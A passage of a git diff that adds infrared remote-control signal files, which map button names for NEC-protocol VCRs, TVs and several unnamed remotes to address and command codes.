KEY_LEFT +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 5F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/NEC/Unknown_TRB-60/49,-1.ir b/assets/resources/infrared/_CSV-IRDB_/NEC/Unknown_TRB-60/49,-1.ir new file mode 100644 index 000000000..91d8c8eb6 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/NEC/Unknown_TRB-60/49,-1.ir @@ -0,0 +1,224 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 01 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 02 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 03 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 04 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 05 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 06 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 07 00 00 00 +# +name: VTR_V +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 08 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 0C 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 0D 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 0E 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 0F 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 10 00 00 00 +# +name: PAUSE/STILL +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 11 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 12 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 13 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 14 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 15 00 00 00 +# +name: INDEX +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 19 00 00 00 +# +name: KEY_SLOW +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 1A 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 1C 00 00 00 +# +name: KEY_0/AV +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 1D 00 00 00 +# +name: SC +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 1E 00 00 00 +# +name: ATR +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 1F 00 00 00 +# +name: MEMORY +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 43 00 00 00 +# +name: RESET +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 44 00 00 00 +# +name: REMAIN +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 45 00 00 00 +# +name: CHECK +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 46 00 00 00 +# +name: KEY_KPPLUS +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 47 00 00 00 +# +name: KEY_KPMINUS +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 48 00 00 00 +# +name: CL +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 4A 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 4B 00 00 00 +# +name: LOCK +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 50 00 00 00 +# +name: MARK +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 54 00 00 00 +# +name: ERASE +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 55 00 00 00 +# +name: OPERATE +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 5B 00 00 00 +# +name: SP/LP +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 5E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/NEC/Unknown_TRB-968A/25,-1.ir b/assets/resources/infrared/_CSV-IRDB_/NEC/Unknown_TRB-968A/25,-1.ir new file mode 100644 index 000000000..3630bbe0b --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/NEC/Unknown_TRB-968A/25,-1.ir @@ -0,0 +1,92 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 00 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 01 00 00 00 +# +name: SLOW_FORWARD +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 02 00 00 00 +# +name: SLOW_REVERSE +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 03 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 04 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 05 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 06 00 00 00 +# +name: OPERATE +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 08 00 00 00 +# +name: RESET +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 09 00 00 00 +# +name: VCR_V +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 0A 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 0C 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 0D 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 0E 00 00 00 +# +name: T.RETURN +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 72 00 00 00 +# +name: TIME/COUNTER +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 85 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/NEC/Unknown_UR-3020/24,247.ir b/assets/resources/infrared/_CSV-IRDB_/NEC/Unknown_UR-3020/24,247.ir new file mode 100644 index 000000000..6bfd770cd --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/NEC/Unknown_UR-3020/24,247.ir @@ -0,0 +1,194 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_R +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 00 00 00 00 +# +name: KEY_G +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 01 00 00 00 +# +name: KEY_B +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 02 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 08 00 00 00 +# +name: 'END' +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 09 00 00 00 +# +name: TEST +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 0B 00 00 00 +# +name: COARSE/FINE +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 0F 00 00 00 +# +name: STORE +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 12 00 00 00 +# +name: KEY_CANCEL +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 14 00 00 00 +# +name: STATIC +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 15 00 00 00 +# +name: CONV +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 16 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 17 00 00 00 +# +name: KEY_1/ABC +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 18 00 00 00 +# +name: KEY_2/DEF +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 19 00 00 00 +# +name: KEY_3/GHI +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 1A 00 00 00 +# +name: KEY_4/JKL +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 1B 00 00 00 +# +name: KEY_5/MNO +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 1C 00 00 00 +# +name: KEY_6/PQR +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 1D 00 00 00 +# +name: KEY_7/STU +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 1E 00 00 00 +# +name: KEY_8/VWX +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 1F 00 00 00 +# +name: KEY_9/YZ- +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 40 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 41 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 42 00 00 00 +# +name: NORMAL +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 43 00 00 00 +# +name: PICTURE_FUNCTION +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 46 00 00 00 +# +name: PICTURE_MUTE +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 47 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 5C 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 5D 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 5E 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 5F 00 00 00 +# +name: CTL_END +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 89 00 00 00 +# +name: CTL_ENTER +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 97 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/NEC/VCR/10,-1.ir b/assets/resources/infrared/_CSV-IRDB_/NEC/VCR/10,-1.ir new file mode 100644 index 000000000..1ba9be9dc --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/NEC/VCR/10,-1.ir @@ -0,0 +1,92 @@ +Filetype: IR signals file +Version: 1 +# +name: CHANNEL_^ +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 00 00 00 00 +# +name: CHANNEL_V +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 01 00 00 00 +# +name: SKIP_SEARCH +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 02 00 00 00 +# +name: STOP_[] +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 04 00 00 00 +# +name: PLAY_> +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 05 00 00 00 +# +name: REC +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 06 00 00 00 +# +name: AUDIO_DUB +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 07 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 08 00 00 00 +# +name: VIDEO/TV +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 0A 00 00 00 +# +name: FF/SRCH_>> +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 0C 00 00 00 +# +name: REW/SRCH_<< +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 0D 00 00 00 +# +name: PAUSE/STILL_ +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 0E 00 00 00 +# +name: EJECT +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 0F 00 00 00 +# +name: X2 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 1C 00 00 00 +# +name: SLOW +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 1D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/NEC/VCR/25,-1.ir b/assets/resources/infrared/_CSV-IRDB_/NEC/VCR/25,-1.ir new file mode 100644 index 000000000..a5e4c7f07 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/NEC/VCR/25,-1.ir @@ -0,0 +1,806 @@ +Filetype: IR signals file +Version: 1 +# +name: VCR_CHANNEL_^ +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 00 00 00 00 +# +name: CHANNEL_^ +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 00 00 00 00 +# +name: VCR_CH_^_(SET_+) +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 00 00 00 00 +# +name: CH/SET_^ +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 00 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 00 00 00 00 +# +name: VCR_CH_^ +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 00 00 00 00 +# +name: VCR_CHANNEL_V +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 01 00 00 00 +# +name: CHANNEL_V +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 01 00 00 00 +# +name: VCR_CH_V_(SET_-) +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 01 00 00 00 +# +name: CH/SET_V +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 01 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 01 00 00 00 +# +name: VCR_CH_V +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 01 00 00 00 +# +name: VCR_SLOW_+ +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 02 00 00 00 +# +name: VCR_SLOW_^ +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 02 00 00 00 +# +name: SLOW_+ +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 02 00 00 00 +# +name: VCR_SLOW_- +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 03 00 00 00 +# +name: VCR_SLOW_V +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 03 00 00 00 +# +name: SLOW_- +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 03 00 00 00 +# +name: VCR_STOP_[] +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 04 00 00 00 +# +name: STOP_[] +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 04 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 04 00 00 00 +# +name: VCR_PLAY_> +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 05 00 00 00 +# +name: PLAY_> +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 05 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 05 00 00 00 +# +name: VCR_REC +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 06 00 00 00 +# +name: REC +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 06 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 06 00 00 00 +# +name: VCR_RECORD +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 06 00 00 00 +# +name: VCR_SR +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 07 00 00 00 +# +name: SR +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 07 00 00 00 +# +name: VCR_POWER +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 08 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 08 00 00 00 +# +name: VCR_RESET +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 09 00 00 00 +# +name: RESET_COUNTER +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 09 00 00 00 +# +name: RESET +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 09 00 00 00 +# +name: VCR_VCR/TV +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 0A 00 00 00 +# +name: VCR/TV +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 0A 00 00 00 +# +name: VCR_TV/VCR +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 0A 00 00 00 +# +name: TV/VIDEO +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 0A 00 00 00 +# +name: VCR_COUNTER_MEMORY +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 0B 00 00 00 +# +name: MEMORY_COUNTER +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 0B 00 00 00 +# +name: MEMORY +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 0B 00 00 00 +# +name: VCR_FF/SRCH_>> +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 0C 00 00 00 +# +name: FF/PICTURE_SRCH_>> +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 0C 00 00 00 +# +name: FF_>> +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 0C 00 00 00 +# +name: FAST_FORWARD_>> +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 0C 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 0C 00 00 00 +# +name: VCR_REW/SRCH_<< +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 0D 00 00 00 +# +name: REW/PICTURE_SRCH_<< +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 0D 00 00 00 +# +name: REW_<< +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 0D 00 00 00 +# +name: REWIND_<< +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 0D 00 00 00 +# +name: VCR_PAUSE/STILL_ +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 0E 00 00 00 +# +name: PAUSE/STILL_ +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 0E 00 00 00 +# +name: VCR_PAUSE/STILL +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 0E 00 00 00 +# +name: PAUSE/STILL__/_>< +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 0E 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 0E 00 00 00 +# +name: VCR_EJECT +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 0F 00 00 00 +# +name: EJECT +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 0F 00 00 00 +# +name: VCR_1 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 10 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 10 00 00 00 +# +name: VCR_1_(AM/SUN) +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 10 00 00 00 +# +name: VCR_2 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 11 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 11 00 00 00 +# +name: VCR_2_(PM/MON) +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 11 00 00 00 +# +name: VCR_3 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 12 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 12 00 00 00 +# +name: VCR_3_(TUE) +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 12 00 00 00 +# +name: VCR_4 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 13 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 13 00 00 00 +# +name: VCR_4_(WED) +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 13 00 00 00 +# +name: VCR_5 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 14 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 14 00 00 00 +# +name: VCR_5_(THU) +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 14 00 00 00 +# +name: VCR_6 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 15 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 15 00 00 00 +# +name: VCR_6_(FRI) +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 15 00 00 00 +# +name: VCR_7 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 16 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 16 00 00 00 +# +name: VCR_7_(SAT) +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 16 00 00 00 +# +name: VCR_8 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 17 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 17 00 00 00 +# +name: VCR_9 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 18 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 18 00 00 00 +# +name: VCR_INPUT +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 19 00 00 00 +# +name: VCR_0 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 1A 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 1A 00 00 00 +# +name: VCR_REC_MODE +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 1B 00 00 00 +# +name: REC_MODE +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 1B 00 00 00 +# +name: SP/EP_RECORD_MODE +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 1B 00 00 00 +# +name: VCR_SHIFT_+ +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 1E 00 00 00 +# +name: SHIFT +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 1E 00 00 00 +# +name: FWD_> +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 60 00 00 00 +# +name: REV_< +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 61 00 00 00 +# +name: INDEX_SEARCH +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 62 00 00 00 +# +name: VCR_TRACKING_+ +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 63 00 00 00 +# +name: TRACKING_+ +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 63 00 00 00 +# +name: VCR_TRACKING_- +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 64 00 00 00 +# +name: TRACKING_- +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 64 00 00 00 +# +name: REAL/NORM._COUNTER +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 65 00 00 00 +# +name: NAT.SL +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 68 00 00 00 +# +name: PRGM_CHECK +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 69 00 00 00 +# +name: VCR_MONITOR +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 6F 00 00 00 +# +name: VCR_TIMER_MODE +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 82 00 00 00 +# +name: OSD_PRGM +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 82 00 00 00 +# +name: TIMER_MODE +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 82 00 00 00 +# +name: TIMER_REC +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 83 00 00 00 +# +name: VCR_TIMER_REC +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 83 00 00 00 +# +name: VCR_TIMER_RECORD +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 83 00 00 00 +# +name: VCR_ON_SCREEN +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 84 00 00 00 +# +name: ON_SCREEN +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 84 00 00 00 +# +name: VCR_CLOCK/COUNTER +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 85 00 00 00 +# +name: VCR_COUNTER/TIMER +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 85 00 00 00 +# +name: TIMER/COUNTER +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 85 00 00 00 +# +name: VCR_ANT/AUX +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 85 00 00 00 +# +name: VCR_F_ADV +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 86 00 00 00 +# +name: VCR_STILL_ADV. +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 86 00 00 00 +# +name: VCR_SHIFT_- +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 88 00 00 00 +# +name: VCR_BACK +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 88 00 00 00 +# +name: DIGITAL_MEM. +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 90 00 00 00 +# +name: ST/SAP +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 91 00 00 00 +# +name: HI-FI/NORM +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 92 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 93 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 94 00 00 00 +# +name: STROBE +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 9A 00 00 00 +# +name: DIGITAL_NR +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 9C 00 00 00 +# +name: VCR_TIME_SEARCH +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 9D 00 00 00 +# +name: REAL_SEARCH +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 9D 00 00 00 +# +name: VCR_DSR +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 9E 00 00 00 +# +name: D.S.R. +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 9E 00 00 00 +# +name: VCR_X2 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 9F 00 00 00 +# +name: VCR_SLOW +type: parsed +protocol: NECext +address: 19 00 00 00 +command: C5 00 00 00 +# +name: VCR_ADD/ERASE +type: parsed +protocol: NECext +address: 19 00 00 00 +command: C6 00 00 00 +# +name: VCR_REPEAT +type: parsed +protocol: NECext +address: 19 00 00 00 +command: C7 00 00 00 +# +name: VCR_CH_SEARCH +type: parsed +protocol: NECext +address: 19 00 00 00 +command: C8 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/NEC/VCR/4,-1.ir b/assets/resources/infrared/_CSV-IRDB_/NEC/VCR/4,-1.ir new file mode 100644 index 000000000..992f19287 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/NEC/VCR/4,-1.ir @@ -0,0 +1,218 @@ +Filetype: IR signals file +Version: 1 +# +name: TV_CHANNEL_^ +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 00 00 00 00 +# +name: TV_CH_^ +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 00 00 00 00 +# +name: TV_CHANNEL_V +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 01 00 00 00 +# +name: TV_CH_V +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 01 00 00 00 +# +name: TV_VOLUME_^ +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 02 00 00 00 +# +name: VOLUME_^ +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 02 00 00 00 +# +name: TV_VOL_^ +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 02 00 00 00 +# +name: TV_VOLUME_V +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 03 00 00 00 +# +name: VOLUME_V +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 03 00 00 00 +# +name: TV_VOL_V +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 03 00 00 00 +# +name: TV_POWER +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 08 00 00 00 +# +name: TV_TV/VIDEO +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 09 00 00 00 +# +name: TV/VIDEO +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 09 00 00 00 +# +name: TV_MUTE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0A 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0A 00 00 00 +# +name: TV_ANT/AUX +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0B 00 00 00 +# +name: TV_0 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 10 00 00 00 +# +name: TV_1 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 11 00 00 00 +# +name: TV_1_(AM/SUN) +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 11 00 00 00 +# +name: TV_2 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 12 00 00 00 +# +name: TV_2_(PM/MON) +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 12 00 00 00 +# +name: TV_3 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 13 00 00 00 +# +name: TV_3_(TUE) +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 13 00 00 00 +# +name: TV_4 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 14 00 00 00 +# +name: TV_4_(WED) +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 14 00 00 00 +# +name: TV_5 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 15 00 00 00 +# +name: TV_5_(THU) +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 15 00 00 00 +# +name: TV_6 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 16 00 00 00 +# +name: TV_6_(FRI) +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 16 00 00 00 +# +name: TV_7 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 17 00 00 00 +# +name: TV_7_(SAT) +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 17 00 00 00 +# +name: TV_8 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 18 00 00 00 +# +name: TV_9 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 19 00 00 00 +# +name: TV_TIMER +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1A 00 00 00 +# +name: TV_RECALL +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1B 00 00 00 +# +name: RECALL +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1B 00 00 